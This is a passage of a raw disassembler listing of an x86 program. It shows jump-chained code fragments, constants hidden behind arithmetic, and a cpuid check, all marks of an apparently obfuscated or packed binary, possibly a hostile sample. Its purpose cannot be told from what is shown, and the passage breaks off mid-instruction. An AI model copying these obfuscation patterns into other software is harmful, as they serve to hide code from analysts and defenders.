sub_425B6E+1A20j jmp loc_42E597 ; END OF FUNCTION CHUNK FOR sub_425B6E ; --------------------------------------------------------------------------- adc ebx, 42D20212h jmp loc_42883B ; --------------------------------------------------------------------------- loc_4242F7: ; CODE XREF: _0182ofla:00423317j jo loc_42E66B ; =============== S U B R O U T I N E ======================================= sub_4242FD proc near ; CODE XREF: _0182ofla:00428E72p ; FUNCTION CHUNK AT 0042720A SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00429632 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042E1FF SIZE 00000010 BYTES xchg esi, [esp+0] pop esi push edi jmp loc_429632 sub_4242FD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427B02 loc_424307: ; CODE XREF: sub_427B02:loc_425E75j pushf jmp loc_42573A ; END OF FUNCTION CHUNK FOR sub_427B02 ; =============== S U B R O U T I N E ======================================= sub_42430D proc near ; DATA XREF: sub_42CB53:loc_428F72o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042308B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A1FE SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042A555 SIZE 0000000E BYTES push ecx push 14667001h pop ecx add ecx, 17863E95h xor ecx, 3DF0E728h cmp ecx, 1066910Dh jmp loc_42A1FE sub_42430D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423395 loc_42432B: ; CODE XREF: sub_423395:loc_427AF9j sbb ebp, ecx shr ebp, 0Fh jmp loc_42C44D ; END OF FUNCTION CHUNK FOR sub_423395 ; --------------------------------------------------------------------------- mov ebx, [edi] jmp loc_424C5B ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42433C proc near ; CODE XREF: sub_42C1D1p var_8 = dword ptr -8 ; FUNCTION CHUNK AT 00423C4A SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042CDDD SIZE 00000008 BYTES mov [esp+0], ebp mov ebp, esp add esp, 0FFFFFFF4h mov [ebp+var_8], eax add edx, ebx jmp loc_423C4A sub_42433C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4283BB loc_42434E: ; CODE XREF: sub_4283BB+Cj pop ebx mov ebp, offset loc_4283D7 xchg ebp, [esp-4+arg_0] retn ; END OF FUNCTION CHUNK FOR sub_4283BB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E785 loc_424358: ; CODE XREF: sub_42E785+12j jmp loc_42572D ; END OF FUNCTION CHUNK FOR sub_42E785 ; --------------------------------------------------------------------------- loc_42435D: ; CODE XREF: _0182ofla:004272D5j sub ebx, eax ror edx, 11h mov ebx, eax mov eax, offset loc_42CF87 jmp loc_42CF7E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42660C loc_42436E: ; CODE XREF: sub_42660C:loc_428B79j pushf jmp loc_42CF93 ; END OF FUNCTION CHUNK FOR sub_42660C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DB2E loc_424374: ; CODE XREF: sub_42DB2E:loc_42981Cj call sub_425063 ; END OF FUNCTION CHUNK FOR sub_42DB2E ; START OF FUNCTION CHUNK FOR sub_42968B loc_424379: ; CODE XREF: sub_42968B+Cj ; sub_42D056:loc_429E7Ej jmp loc_428DF1 ; END OF FUNCTION CHUNK FOR sub_42968B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B15E loc_42437E: ; CODE XREF: _0182ofla:loc_4248DBj ; sub_42B15E-2578j jmp loc_42B6D5 ; END OF FUNCTION CHUNK FOR sub_42B15E ; --------------------------------------------------------------------------- sub esi, 4B3F824Ch jbe loc_4230C7 jmp sub_42A1D9 ; --------------------------------------------------------------------------- mov [eax], edi jle loc_4238D2 jmp sub_42D5EF ; --------------------------------------------------------------------------- loc_4243A1: ; DATA XREF: sub_424B70:loc_428363o jz loc_42A5DD ; START OF FUNCTION CHUNK FOR sub_42798F loc_4243A7: ; CODE XREF: sub_42798F:loc_426836j mov eax, [ebp+8] cmp dword ptr [eax-1Ch], 0F6h jz loc_4270F9 mov eax, [ebp+8] cmp dword ptr [eax-1Ch], 0F7h jmp loc_42A5D2 ; --------------------------------------------------------------------------- loc_4243C6: ; CODE XREF: sub_42798F:loc_424C0Dj push ecx jmp loc_42C68F ; END OF FUNCTION CHUNK FOR sub_42798F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_59. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_229. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42940E loc_4243CE: ; CODE XREF: sub_42940E-17FCj jmp loc_426FF9 ; END OF FUNCTION CHUNK FOR sub_42940E ; =============== S U B R O U T I N E ======================================= sub_4243D3 proc near ; DATA XREF: sub_42E5F8-86DAo ; FUNCTION CHUNK AT 00426D98 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042B2B4 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0042C1DB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E299 SIZE 0000000B BYTES add eax, [ebp-4] add eax, 18h mov [ebp-4], eax mov eax, [ebp-10h] test eax, eax jmp loc_426D98 sub_4243D3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423A2A loc_4243E6: ; CODE XREF: sub_423A2A:loc_42670Dj jnz loc_42AAC3 jmp loc_42AC39 ; END OF FUNCTION CHUNK FOR sub_423A2A ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_123. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_4243F2 proc near ; CODE XREF: _0182ofla:00428DDAj ; sub_42AAD2+47Bp xchg ebx, [esp+0] pop ebx push ds:dword_427A44 retn sub_4243F2 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A6D5 loc_4243FD: ; CODE XREF: sub_42A6D5-831j jmp loc_42659A ; END OF FUNCTION CHUNK FOR sub_42A6D5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4284E7 loc_424402: ; CODE XREF: sub_4284E7+Fj mov eax, [ebp-1Ch] mov al, [eax] mov edx, [ebp-20h] mov [edx], al push offset sub_4255BB jmp loc_42B684 ; END OF FUNCTION CHUNK FOR sub_4284E7 ; --------------------------------------------------------------------------- jno loc_42CBC4 jmp loc_426EA6 ; --------------------------------------------------------------------------- loc_424421: ; DATA XREF: sub_424E80+3o or eax, eax jz loc_42DD4D jmp loc_42D1ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4265C0 loc_42442E: ; CODE XREF: sub_4265C0:loc_428F41j pop edx add edx, 24808F1Ah xchg edx, [esp+0Ch+var_C] loc_424438: ; CODE XREF: sub_423FCD:loc_42CFDAj jmp loc_427A3D ; END OF FUNCTION CHUNK FOR sub_4265C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C1B2 loc_42443D: ; CODE XREF: sub_42C1B2-7420j shr eax, 1Bh test edi, ebp jmp loc_42D274 ; END OF FUNCTION CHUNK FOR sub_42C1B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423F50 loc_424447: ; CODE XREF: sub_423F50+9E27j jnz loc_426551 lea eax, [ebp-125h] push eax loc_424454: ; CODE XREF: sub_423A2A:loc_42B418j call sub_426561 jmp loc_429F4E ; END OF FUNCTION CHUNK FOR sub_423F50 ; =============== S U B R O U T I N E ======================================= sub_42445E proc near ; DATA XREF: sub_42D19B+1015o ; FUNCTION CHUNK AT 00426ABE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C881 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042D5B9 SIZE 0000001D BYTES mov edx, [eax] mov al, 1 call edx xchg ebx, [esp+0] mov ebp, ebx pop ebx xor eax, eax jmp loc_42D5B9 sub_42445E endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423861 loc_424471: ; CODE XREF: sub_423861+15j cmp ds:dword_42B8F8[eax*4], 0 jz loc_42D816 mov eax, [ebp+var_4] push offset loc_429147 jmp nullsub_14 ; END OF FUNCTION CHUNK FOR sub_423861 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42448C proc near ; DATA XREF: sub_427AD5+6o var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042303F SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00423E64 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042419D SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00425FBB SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042626A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004262C5 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0042832E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00428E0E SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042951C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004297B2 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 004297ED SIZE 00000024 BYTES ; FUNCTION CHUNK AT 004299C6 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00429BE7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A92B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042AA86 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042CBFB SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042E235 SIZE 00000013 BYTES push ebp mov ebp, esp push ecx mov esp, ebp pop ebp jmp loc_425FBB sub_42448C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_424498 proc near ; DATA XREF: _0182ofla:loc_426AB3o ; FUNCTION CHUNK AT 00427111 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427435 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004284C6 SIZE 00000005 BYTES lea eax, [ebp-80Ch] push eax push ecx push 529E63ACh add ecx, 2BBB4A13h jmp loc_427435 sub_424498 endp ; --------------------------------------------------------------------------- not ebx jmp sub_42D33D ; --------------------------------------------------------------------------- jg loc_42994B jmp loc_4282B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B669 loc_4244C2: ; CODE XREF: sub_42B669-1DBFj jz sub_428B91 jmp loc_427C65 ; END OF FUNCTION CHUNK FOR sub_42B669 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428729 loc_4244CD: ; CODE XREF: sub_428729+6245j push offset sub_4256E8 jmp loc_42C5C0 ; END OF FUNCTION CHUNK FOR sub_428729 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F20 loc_4244D7: ; CODE XREF: sub_428F20:loc_42D11Ej add [esi], eax call sub_429957 jnp loc_42653E jmp loc_42DD84 ; END OF FUNCTION CHUNK FOR sub_428F20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_4244E9: ; CODE XREF: sub_42798F:loc_4249A0j ; sub_42798F:loc_425315j ... jnb loc_428D78 cmp dword ptr [ebp-4], 4 jnz loc_425520 call sub_42D875 ; END OF FUNCTION CHUNK FOR sub_42798F ; START OF FUNCTION CHUNK FOR sub_428A08 loc_4244FE: ; CODE XREF: _0182ofla:loc_423937j ; sub_428A08+Aj jmp nullsub_44 ; END OF FUNCTION CHUNK FOR sub_428A08 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427ED1 loc_424503: ; CODE XREF: sub_427ED1+1Aj jmp loc_429A15 ; END OF FUNCTION CHUNK FOR sub_427ED1 ; --------------------------------------------------------------------------- loc_424508: ; DATA XREF: sub_428A39:loc_42A699o xor esi, 0A9DF8A94h add esi, ebp add esi, 5468753Bh mov [esi], eax pop esi cmp dword ptr [ebp-10h], 0 jz loc_42A7D0 jmp loc_42806A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B1F9 loc_424528: ; CODE XREF: sub_42B1F9-411Fj jnz loc_42A2C4 jmp loc_4290EB ; END OF FUNCTION CHUNK FOR sub_42B1F9 ; =============== S U B R O U T I N E ======================================= sub_424533 proc near ; CODE XREF: _0182ofla:00425327j ; sub_42ECFAp mov [esp+0], ebx pop ebx push ebp mov ebp, esp call sub_426993 loc_42453F: ; CODE XREF: _0182ofla:0042630Cj jmp nullsub_15 sub_424533 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425EA5 loc_424544: ; CODE XREF: sub_425EA5:loc_425EB4j jmp loc_42CD72 ; END OF FUNCTION CHUNK FOR sub_425EA5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AAF8 loc_424549: ; CODE XREF: sub_42AAF8:loc_4241C6j ; sub_42AAF8:loc_42AE6Fj lea edx, [ebp-14h] mov eax, offset dword_42D220 call sub_42B14D lea eax, [ebp-14h] push ebp jmp loc_42A2E8 ; END OF FUNCTION CHUNK FOR sub_42AAF8 ; --------------------------------------------------------------------------- adc eax, edx jmp sub_42C8C0 ; --------------------------------------------------------------------------- mov edx, 9E849D81h call sub_42D71D push eax push offset sub_42E13B jmp locret_4287FC ; --------------------------------------------------------------------------- sub esi, 481DEDDh mov ebp, 8A46EDDAh jmp sub_42486B ; =============== S U B R O U T I N E ======================================= sub_42458B proc near ; CODE XREF: sub_42326C+2E0Ej push ebp xchg eax, ebp call sub_424CD8 retn sub_42458B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C718 loc_424594: ; CODE XREF: sub_42C718-2A0j jmp nullsub_244 ; END OF FUNCTION CHUNK FOR sub_42C718 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F20 loc_424599: ; CODE XREF: sub_428F20-53E7j jmp loc_423B86 ; END OF FUNCTION CHUNK FOR sub_428F20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426993 loc_42459E: ; CODE XREF: sub_426993+Dj push offset loc_42D804 jmp nullsub_27 ; END OF FUNCTION CHUNK FOR sub_426993 ; --------------------------------------------------------------------------- loc_4245A8: ; CODE XREF: _0182ofla:00426DE3j push offset loc_42925A jmp loc_42A2D5 ; --------------------------------------------------------------------------- loc_4245B2: ; DATA XREF: _0182ofla:0042A88Do add eax, ebp add eax, 556E1106h push eax push 100h push offset sub_427ED1 jmp locret_429D05 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4249FA loc_4245CA: ; CODE XREF: sub_4249FA+3j push eax mov eax, ecx xchg eax, [esp+4+var_4] mov esp, ebp pop ebp jmp loc_42AA2E ; END OF FUNCTION CHUNK FOR sub_4249FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427239 loc_4245D8: ; CODE XREF: sub_427239-24C7j push ecx mov esp, ebp pop ebp push 0DDDEE989h pop eax add eax, 457077AEh xor eax, 5E1FC7C8h add eax, 82F1C8B9h jmp loc_42E60A ; END OF FUNCTION CHUNK FOR sub_427239 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426571 loc_4245F9: ; CODE XREF: sub_426571+B32j cmp dword ptr [ebp-8], 0 jle loc_4262D2 mov eax, [ebp-4] xor edx, edx call sub_42D6DD loc_42460D: ; CODE XREF: sub_425A5C+14j jmp loc_4239BD ; END OF FUNCTION CHUNK FOR sub_426571 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428A39 loc_424612: ; CODE XREF: sub_428A39-CD9j xchg esi, edx ; END OF FUNCTION CHUNK FOR sub_428A39 ; =============== S U B R O U T I N E ======================================= sub_424614 proc near ; CODE XREF: sub_42798F:loc_428547p mov [esp+0], ebx pop ebx mov esp, ebp pop ebp retn sub_424614 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42461C proc near ; CODE XREF: sub_42CFAD:loc_428542p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00423D92 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00424BDD SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004251C4 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00426D53 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00427D05 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042A5B9 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042B4F4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042ED1A SIZE 00000014 BYTES push ebp mov ebp, esp jmp loc_424BDD sub_42461C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4235C7 loc_424624: ; CODE XREF: sub_4235C7+55BEj mov edi, ecx mov edx, 832D1610h loc_42462B: ; CODE XREF: sub_42ABB7:loc_42EB18j call sub_4247FE test eax, eax setnz byte ptr [ebp-1] ; END OF FUNCTION CHUNK FOR sub_4235C7 ; START OF FUNCTION CHUNK FOR sub_42AB9B loc_424636: ; CODE XREF: sub_42AB9B+6j ; sub_42AB9B+17j ... mov al, [ebp-1] pop ecx pop ebp jmp loc_423E9F ; END OF FUNCTION CHUNK FOR sub_42AB9B ; --------------------------------------------------------------------------- loc_424640: ; CODE XREF: _0182ofla:loc_428AC4j xor edx, 1465BC66h call sub_42D71D call sub_428D17 push offset loc_426D34 jmp locret_42AFD9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428C7D loc_42465A: ; CODE XREF: sub_428C7D:loc_42C54Ej mov ebp, eax pop ebp mov ecx, offset sub_42466B xchg ecx, [esp-4+arg_0] retn ; END OF FUNCTION CHUNK FOR sub_428C7D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423861 loc_424666: ; CODE XREF: sub_423861+6821j jmp loc_42734E ; END OF FUNCTION CHUNK FOR sub_423861 ; =============== S U B R O U T I N E ======================================= sub_42466B proc near ; DATA XREF: sub_428C7D-4620o ; FUNCTION CHUNK AT 00426747 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042785F SIZE 00000002 BYTES pop ebx jmp loc_426747 sub_42466B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427239 loc_424671: ; CODE XREF: sub_427239:loc_426F1Dj pushf jmp loc_42C794 ; END OF FUNCTION CHUNK FOR sub_427239 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425063 loc_424677: ; CODE XREF: sub_425063+E67j ; sub_425063:loc_42AC84j mov eax, [ebp-0Ch] push eax call sub_427239 loc_424680: ; CODE XREF: _0182ofla:00426359j ; sub_425063+3F4Dj ... call sub_42D056 ; END OF FUNCTION CHUNK FOR sub_425063 ; START OF FUNCTION CHUNK FOR sub_42326C loc_424685: ; CODE XREF: sub_42326C+9j jmp loc_42CAA0 ; END OF FUNCTION CHUNK FOR sub_42326C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429E52 loc_42468A: ; CODE XREF: sub_429E52-4922j jz loc_42A95D jmp loc_42C109 ; END OF FUNCTION CHUNK FOR sub_429E52 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_188. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_20. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CAC9 loc_424697: ; CODE XREF: sub_42CAC9+Ej jmp nullsub_109 ; END OF FUNCTION CHUNK FOR sub_42CAC9 ; =============== S U B R O U T I N E ======================================= sub_42469C proc near ; CODE XREF: _0182ofla:00428929j ; DATA XREF: sub_427906+6416o mov eax, [ebp-0Ch] mov esp, ebp call sub_4272E4 sub_42469C endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_428F20 loc_4246A6: ; CODE XREF: sub_428F20:loc_424DC2j ; sub_428F20+591Cj mov eax, 80000002h xor ebx, ebx xor ecx, ecx xor edx, edx cpuid jmp loc_42D11E ; END OF FUNCTION CHUNK FOR sub_428F20 ; --------------------------------------------------------------------------- locret_4246B8: ; CODE XREF: _0182ofla:00425BCEj retn ; --------------------------------------------------------------------------- loc_4246B9: ; CODE XREF: _0182ofla:0042B258j jmp locret_42D454 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425418 loc_4246BE: ; CODE XREF: sub_425418:loc_429BB4j call sub_42C415 ; END OF FUNCTION CHUNK FOR sub_425418 ; START OF FUNCTION CHUNK FOR sub_423A2A loc_4246C3: ; CODE XREF: sub_423A2A+92A1j jmp loc_42965F ; END OF FUNCTION CHUNK FOR sub_423A2A ; --------------------------------------------------------------------------- and ebp, ecx push 2F6DFC60h jmp sub_4266D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42938A loc_4246D4: ; CODE XREF: sub_42938A:loc_427123j jno loc_42929E ror ecx, 0Fh xor edi, ecx mov [edx], ecx jmp loc_426BFB ; END OF FUNCTION CHUNK FOR sub_42938A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AB3E loc_4246E6: ; CODE XREF: sub_42AB3E:loc_425A2Dj push eax retn ; END OF FUNCTION CHUNK FOR sub_42AB3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D553 loc_4246E8: ; CODE XREF: sub_42D553:loc_42350Bj push 0D851016Eh mov [esp+4+var_4], ebp mov ebp, esp push ecx mov esp, ebp jmp loc_425059 ; END OF FUNCTION CHUNK FOR sub_42D553 ; --------------------------------------------------------------------------- mov eax, ecx adc eax, 895143FBh jmp sub_427D47 ; =============== S U B R O U T I N E ======================================= sub_424707 proc near ; CODE XREF: _0182ofla:00425BADj ; sub_42B3C2:loc_426940p var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00423A1D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00424E05 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00425CB1 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00426956 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00426F03 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 004274C0 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 004287EB SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00429B10 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00429F27 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0042B548 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C523 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0042CB3C SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042D08C SIZE 00000014 BYTES xchg edi, [esp-8+arg_4] pop edi not ecx jz loc_429F27 push edx push 0FF5B202Fh jmp loc_42B548 sub_424707 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_106. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push 1D658AEEh pop edx and edx, 5135171Fh rol edx, 2 jnb loc_4285C3 loc_424734: ; CODE XREF: _0182ofla:0042AAA5j jmp loc_42E69C ; --------------------------------------------------------------------------- sbb esi, 0F55DFF9Fh jmp loc_4285BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C1B2 loc_424744: ; CODE XREF: sub_42C1B2:loc_425C2Dj mov ebp, esp push ecx mov [ebp-4], eax call sub_4286A8 call sub_429B69 test al, al jz loc_42E938 jmp loc_423748 ; END OF FUNCTION CHUNK FOR sub_42C1B2 ; --------------------------------------------------------------------------- locret_424761: ; CODE XREF: _0182ofla:00423310j retn ; =============== S U B R O U T I N E ======================================= sub_424762 proc near ; CODE XREF: sub_427942+3287p ; _0182ofla:0042AC34j ; FUNCTION CHUNK AT 0042E409 SIZE 0000000A BYTES mov [esp+0], ebx pop ebx xor eax, esi jmp loc_42E409 sub_424762 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42476D: ; CODE XREF: _0182ofla:loc_424F4Dj push 0AC1EDD9Ch pop eax sub eax, 44AF543Eh cmp eax, 8544778Fh jmp loc_4236B5 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_128. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_424785: ; CODE XREF: _0182ofla:0042774Bj jmp loc_428E3A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AC07 loc_42478A: ; CODE XREF: sub_42AC07-7A7Cj cmp edi, ebx jmp loc_427BB3 ; END OF FUNCTION CHUNK FOR sub_42AC07 ; --------------------------------------------------------------------------- push 9195806h jmp sub_428599 ; --------------------------------------------------------------------------- pop ecx jmp sub_428A39 ; --------------------------------------------------------------------------- loc_4247A1: ; CODE XREF: _0182ofla:0042B80Dj jnb loc_423FEB ; START OF FUNCTION CHUNK FOR sub_42326C loc_4247A7: ; CODE XREF: sub_42326C:loc_42ADB5j add edi, 54584BD1h xchg edi, [esp+4+var_4] jmp loc_42A3DF ; END OF FUNCTION CHUNK FOR sub_42326C ; --------------------------------------------------------------------------- loc_4247B5: ; CODE XREF: _0182ofla:loc_42A209j sub esi, 0BE2AD2EAh sbb eax, 422527BCh jmp loc_42ED80 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423A2A loc_4247C6: ; CODE XREF: sub_423A2A:loc_42E07Fj sub edx, 15C9CE6Bh add edx, 264A300h xchg edx, [esp+0] jmp sub_429AA3 ; END OF FUNCTION CHUNK FOR sub_423A2A ; --------------------------------------------------------------------------- test al, al jz nullsub_34 jmp loc_42A4BB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_4247E7: ; CODE XREF: sub_42798F-CB5j cdq ror eax, 18h mov eax, ecx loc_4247ED: ; CODE XREF: sub_42798F:loc_424ED2j push 663E7819h jmp loc_424EFA ; END OF FUNCTION CHUNK FOR sub_42798F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_230. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D730 loc_4247F9: ; CODE XREF: sub_42D730+9j jmp loc_42EA28 ; END OF FUNCTION CHUNK FOR sub_42D730 ; =============== S U B R O U T I N E ======================================= sub_4247FE proc near ; CODE XREF: sub_4235C7:loc_42462Bp ; sub_42798F:loc_4288DCp ... ; FUNCTION CHUNK AT 004250CA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042607F SIZE 0000001C BYTES ; FUNCTION CHUNK AT 004260A3 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042877C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A73F SIZE 00000019 BYTES jno sub_42609B push ebp mov ebp, esp add esp, 0FFFFFFECh cmp ds:byte_427A00, 0 jmp loc_42607F sub_4247FE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BF8 loc_424816: ; CODE XREF: sub_425BF8+431Fj jnz loc_427A58 loc_42481C: ; CODE XREF: sub_429E52:loc_42483Cj ; sub_429E52-4928j ... jno loc_42ED97 push offset loc_4253C7 jmp nullsub_63 ; END OF FUNCTION CHUNK FOR sub_425BF8 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_71. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E648 loc_42482D: ; CODE XREF: sub_42E648-3E5Fj jmp sub_428D17 ; END OF FUNCTION CHUNK FOR sub_42E648 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427F03 loc_424832: ; CODE XREF: sub_427F03+8j jmp sub_42DBF0 ; END OF FUNCTION CHUNK FOR sub_427F03 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B15E loc_424837: ; CODE XREF: sub_42B15E-7377j jmp nullsub_132 ; END OF FUNCTION CHUNK FOR sub_42B15E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429E52 loc_42483C: ; CODE XREF: sub_429E52+B1Dj jnz loc_42481C jmp loc_425939 ; END OF FUNCTION CHUNK FOR sub_429E52 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425B6E loc_424847: ; CODE XREF: sub_425B6E-E21j jmp loc_428177 ; END OF FUNCTION CHUNK FOR sub_425B6E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A181 loc_42484C: ; CODE XREF: sub_42A181-4779j jb loc_429930 call sub_426E96 ; END OF FUNCTION CHUNK FOR sub_42A181 ; START OF FUNCTION CHUNK FOR sub_4276E3 loc_424857: ; CODE XREF: sub_4276E3+Aj or edi, 8F34BCCAh add edi, 604A4BE4h xchg edi, [esp+0] jmp loc_428080 ; END OF FUNCTION CHUNK FOR sub_4276E3 ; =============== S U B R O U T I N E ======================================= sub_42486B proc near ; CODE XREF: _0182ofla:00424586j ; sub_427DA9+168Ap xchg ecx, [esp+0] pop ecx add eax, 54h mov eax, [eax] or eax, eax jmp loc_42A670 sub_42486B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C553 loc_42487B: ; CODE XREF: sub_42C553:loc_42A67Cj jz loc_4241A7 jmp loc_428B3F ; END OF FUNCTION CHUNK FOR sub_42C553 ; --------------------------------------------------------------------------- mov 